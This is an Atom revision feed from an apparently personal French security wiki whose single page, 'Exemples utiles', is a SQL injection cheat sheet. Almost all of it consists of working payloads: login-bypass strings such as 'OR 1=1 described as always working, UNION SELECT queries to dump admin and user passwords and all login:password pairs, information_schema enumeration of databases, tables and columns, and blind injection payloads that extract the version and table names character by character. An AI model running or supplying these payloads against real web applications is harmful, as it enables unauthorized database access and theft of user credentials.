<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
	<id>https://futex.re/mediawiki/index.php?action=history&amp;feed=atom&amp;title=1.1_Exemples_utiles</id>
	<title>1.1 Exemples utiles - Historique des versions</title>
	<link rel="self" type="application/atom+xml" href="https://futex.re/mediawiki/index.php?action=history&amp;feed=atom&amp;title=1.1_Exemples_utiles"/>
	<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=1.1_Exemples_utiles&amp;action=history"/>
	<updated>2026-05-13T15:38:26Z</updated>
	<subtitle>Historique des versions pour cette page sur le wiki</subtitle>
	<generator>MediaWiki 1.39.17</generator>
	<entry>
		<id>https://futex.re/mediawiki/index.php?title=1.1_Exemples_utiles&amp;diff=1557&amp;oldid=prev</id>
		<title>Futex le 11 juin 2012 à 19:16</title>
		<link rel="alternate" type="text/html" href="https://futex.re/mediawiki/index.php?title=1.1_Exemples_utiles&amp;diff=1557&amp;oldid=prev"/>
		<updated>2012-06-11T19:16:14Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Nouvelle page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;Marche toujours&lt;br /&gt;
&lt;br /&gt;
  &amp;#039;=&amp;#039;&lt;br /&gt;
  &amp;#039;OR 1=1&lt;br /&gt;
  &amp;#039;OR a=a&lt;br /&gt;
  &amp;#039;OR&amp;#039;&lt;br /&gt;
  &amp;#039;OR&amp;#039;&amp;#039;=&amp;#039;&lt;br /&gt;
  &amp;#039;OR&amp;quot;=&amp;quot;&lt;br /&gt;
  &amp;#039;OR&amp;#039;=&amp;quot;&lt;br /&gt;
  &amp;#039;OR &amp;#039;=&amp;quot;&lt;br /&gt;
  &amp;#039;OR &amp;quot;=&amp;#039;&lt;br /&gt;
  &amp;#039;OR &amp;#039;&amp;#039;=&amp;#039;&lt;br /&gt;
  &amp;#039;OR &amp;#039;=&amp;#039;&amp;#039;&lt;br /&gt;
  &amp;#039;OR &amp;quot;=&amp;#039;&amp;#039;&lt;br /&gt;
  &amp;#039;OR &amp;#039;&amp;#039;=&amp;quot;&lt;br /&gt;
&lt;br /&gt;
En ce moment, un nouveau type est à la mode, les UNION qui imposent de connaitre un minimum la morphologie de la requête, ou du moins de la deviner :&lt;br /&gt;
UNION ALL SELECT pseudo,password FROM admins&lt;br /&gt;
UNION ALL SELECT pseudo,password FROM admins WHERE pseudo=&amp;#039;OR 1=1# AND password=&amp;#039;OR &amp;#039;&amp;#039;=&amp;quot;&lt;br /&gt;
UNION ALL SELECT pseudo,password FROM admins WHERE pseudo=&amp;#039;OR &amp;quot;=&amp;#039; AND password=&amp;#039;OR &amp;quot;=&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Afficher les bases de données&lt;br /&gt;
  SHOW DATABASES &lt;br /&gt;
&lt;br /&gt;
Afficher les tables&lt;br /&gt;
  SHOW TABLES [FROM $DATABASE]&lt;br /&gt;
&lt;br /&gt;
Afficher les colonnes:&lt;br /&gt;
  SHOW COLUMNS FROM $TABLE&lt;br /&gt;
&lt;br /&gt;
Determiner le nombre de champs:&lt;br /&gt;
&lt;br /&gt;
  &amp;#039; ORDER BY X #&lt;br /&gt;
&lt;br /&gt;
Compter le nombre de colonnes&lt;br /&gt;
  SELECT COUNT(*)&lt;br /&gt;
  FROM INFORMATION_SCHEMA.COLUMNS&lt;br /&gt;
  WHERE TABLE_NAME = &amp;#039;$TABLE&amp;#039;&lt;br /&gt;
&lt;br /&gt;
Union select:&lt;br /&gt;
&lt;br /&gt;
  &amp;#039; AND 1=0 UNION SELECT 1,2,3,4 #&lt;br /&gt;
&lt;br /&gt;
Nombre de tables&lt;br /&gt;
&lt;br /&gt;
  &amp;#039; AND 1=0 UNION SELECT 1,(SELECT COUNT(*) FROM information_schema.TABLES WHERE table_schema=DATABASE()),3,4 #&lt;br /&gt;
&lt;br /&gt;
Lister les tables&lt;br /&gt;
&lt;br /&gt;
  &amp;#039; AND 1=0 UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema=DATABASE()),3,4 #&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lister les champs d&amp;#039;une table&lt;br /&gt;
&lt;br /&gt;
  (SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_name=0x7573657273 AND table_schema=DATABASE()),3,4 #&lt;br /&gt;
&lt;br /&gt;
Trouver le mot de passe de JohnDoe&lt;br /&gt;
&lt;br /&gt;
  &amp;#039; AND 1=0 UNION SELECT 1,(SELECT password FROM users WHERE login=&amp;#039;JohnDoe&amp;#039;),3,4 #&lt;br /&gt;
&lt;br /&gt;
Recuperer les comptes&lt;br /&gt;
&lt;br /&gt;
  &amp;#039; AND 1=0 UNION SELECT 1,(SELECT GROUP_CONCAT(login,&amp;#039;:&amp;#039;,password,&amp;#039;\n&amp;#039;) FROM users),3,4 #&lt;br /&gt;
&lt;br /&gt;
Erreurs conditionnelles:&lt;br /&gt;
&lt;br /&gt;
  (SELECT IF(Condition,(SELECT 0 UNION ALL SELECT 0),0))&lt;br /&gt;
&lt;br /&gt;
  (SELECT IF((1&amp;lt;0),(SELECT 0 UNION ALL SELECT 0),0))&lt;br /&gt;
&lt;br /&gt;
-----------------------------&lt;br /&gt;
Code ascii: ORD(caractere)&lt;br /&gt;
&lt;br /&gt;
Extraire un caractère: SUBSTRING(texte,debut,1) (ca commence à 1)&lt;br /&gt;
-----------------------------&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test de la version en Blind SQL Injection&lt;br /&gt;
&lt;br /&gt;
  (SELECT IF( ORD(SUBSTRING(@@VERSION,1,1))=53,(SELECT 0 UNION ALL SELECT 0),0))&lt;br /&gt;
&lt;br /&gt;
=&amp;gt; Version 5.X&lt;br /&gt;
&lt;br /&gt;
Recuperation du premier caractère de la première table&lt;br /&gt;
&lt;br /&gt;
  (SELECT ORD(SUBSTRING(table_name,1,1)) FROM information_schema.TABLES LIMIT 1)&lt;br /&gt;
  (SELECT IF( (SELECT ORD(SUBSTRING(table_name,1,1)) FROM information_schema.TABLES LIMIT 1)&amp;lt;128,(SELECT 0 UNION ALL SELECT 0),0))&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26&lt;/div&gt;</summary>
		<author><name>Futex</name></author>
	</entry>
</feed>